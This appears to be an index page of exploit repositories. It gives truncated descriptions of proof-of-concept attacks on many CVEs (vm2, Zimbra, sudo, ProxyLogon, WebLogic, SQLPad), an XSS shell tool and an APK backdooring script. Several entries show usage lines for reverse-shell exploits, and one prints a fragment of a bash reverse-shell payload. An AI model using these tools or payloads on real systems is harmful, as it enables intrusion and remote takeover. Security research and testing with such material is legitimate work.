CVE-2020-8165--Auto-Shell

CVE-2020-8165--Auto-Script...

CVE-2023-30547

CVE-2023-30547 This is a Proof-of-Concept to CVE-2023-30547 https://nvd.nist.gov/vuln/detail/CVE-2023-30547. I created this PoC during a CTF. Usage root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT PoC for the vm2 vulnerability CVE-2023-30547 options: -h, --help show this...

bash-3.2-fixed-CVE-2014-6271

Introduction This is GNU Bash, version 3.2. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX.2 shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...

Node.js-CVE-2017-5941

NodeJS Insecure Deserialisation Vulnerability Demo Node.js is an open-source runtime environment used to implement server functionality in JavaScript. A specific software package within Node.js contains a vulnerable function dealing with deserialisation, that causes it to run unauthorised command...

CVE-2023-20052

CVE-2023-20052 Exploit Functional, self-developed Proof-of-Concept PoC exploit for CVE-2023-20052 , a vulnerability in ClamAV versions = 1.0.0, = 0.105.1, and = 0.103.7 enabling arbitrary file read via XML Entity Expansion XXE during DMG file parsing. This repository provides an original,...

CVE-2022-23222

CVE-2022-23222 Chinese writeup: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt For educational/research purposes only. Use at your own risk. Build & Run root@kitploit: $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8...

CVE-2022-27925-Revshell

Zimbra Unauthenticated Remote Code Execution Exploit CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 This shellscript given the OrgKey 0 will parse the header of the base64 artifacts found in MOVEit Logs and decrypt the Serialized object used a payload...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

cowrie

.. SPDX-FileCopyrightText: 2014 Upi Tamminen [email protected] .. SPDX-FileCopyrightText: 2014-2025 Michel Oosterhof [email protected] .. .. SPDX-License-Identifier: BSD-3-Clause Cowrie Qué es Cowrie Cowrie es un honeypot SSH y Telnet de interacción media a alta diseñado para registrar...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - RCE autenticado Este script PoC está basado en el exploit proporcionado por Fellipe Oliveira. Características : Sube directamente código C a /hardware en lugar de cargar un archivo st Restaura el programa predeterminado antes de cargar la reverse shell Revers...

JShell

JShell JShell - Obtén una shell JavaScript con XSS. Usos Ejecuta shell.py y JShell intentará automáticamente detectar tu dirección IP, el puerto LPORT por defecto es 33. Como puedes ver, el payload ha sido generado y ahora todo lo que tienes que hacer es entregar este payload a la víctima. Tan...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC CVE-2021-26855 This is script was originaly made by celesian to exploit this CVE. Then i updated it to exploit an exchange server vulnerable to SSRF but it got a Shell exploiting the EWS feature, because a client company patched it's exchange server...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 Command execution with echo back Direct shell upload Tested OK on WebLogic 10.3.6.0 on Linux Usage and Parameters python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help...

CVE-2021-3156

CVE-2021-3156 xchg@ubuntu:/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich CVE-2021-3156 PoC by blasty [email protected] usage: ./sudo-hax-me-a-sandwich available targets: root@kitploit: 0 Ubuntu 20.04.1 Focal Fossa - sudo 1.8.31, libc-2.31 1 Debian 10.0 Buster - sudo 1.8.27, libc-2.28...

CVE-2024-23346-rust-exploit

A Rust exploitation script for CVE-2024-23346. As shown below the POC uses the code injection vulnerability and runs remote shell commands like in a Terminal. poc.webm Steps to run the exploit: Run directly with Cargo cargo run -- --help cargo run -- --target http://10.10.11.38 --username "Admin"...

backdoor-apk

backdoor-apk backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of...

backdoor-apk

backdoor-apk backdoor-apk es un script de shell que simplifica el proceso de añadir una puerta trasera a cualquier archivo APK de Android. Los usuarios de este script de shell deben tener conocimientos prácticos de Linux, Bash, Metasploit, Apktool, el SDK de Android, smali, etc. Este script de...

CVE-2023-32413

macOS LPE CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 exploit This is the exploit code that has been played at Pwn2Own Vancouver 2023 https://youtu.be/c0cS4R0ja-I?t=180. This code exploits CVE-2023-32413 to gain root rights on any vulnerable macOS. The vulnerability is a logic TOCTOU tha...

CVE-2023-42791_CVE-2024-23666

Fortimanager insufficient authorization checks CVE-2024-23666 and unrestricted file upload CVE-2023-42791 exploitation scripts Two exploitation scripts leveraging these vulnerabilities are provided: rce.py: Provides a reverse shell or adds an arbitrary administrator from unprivileged access to th...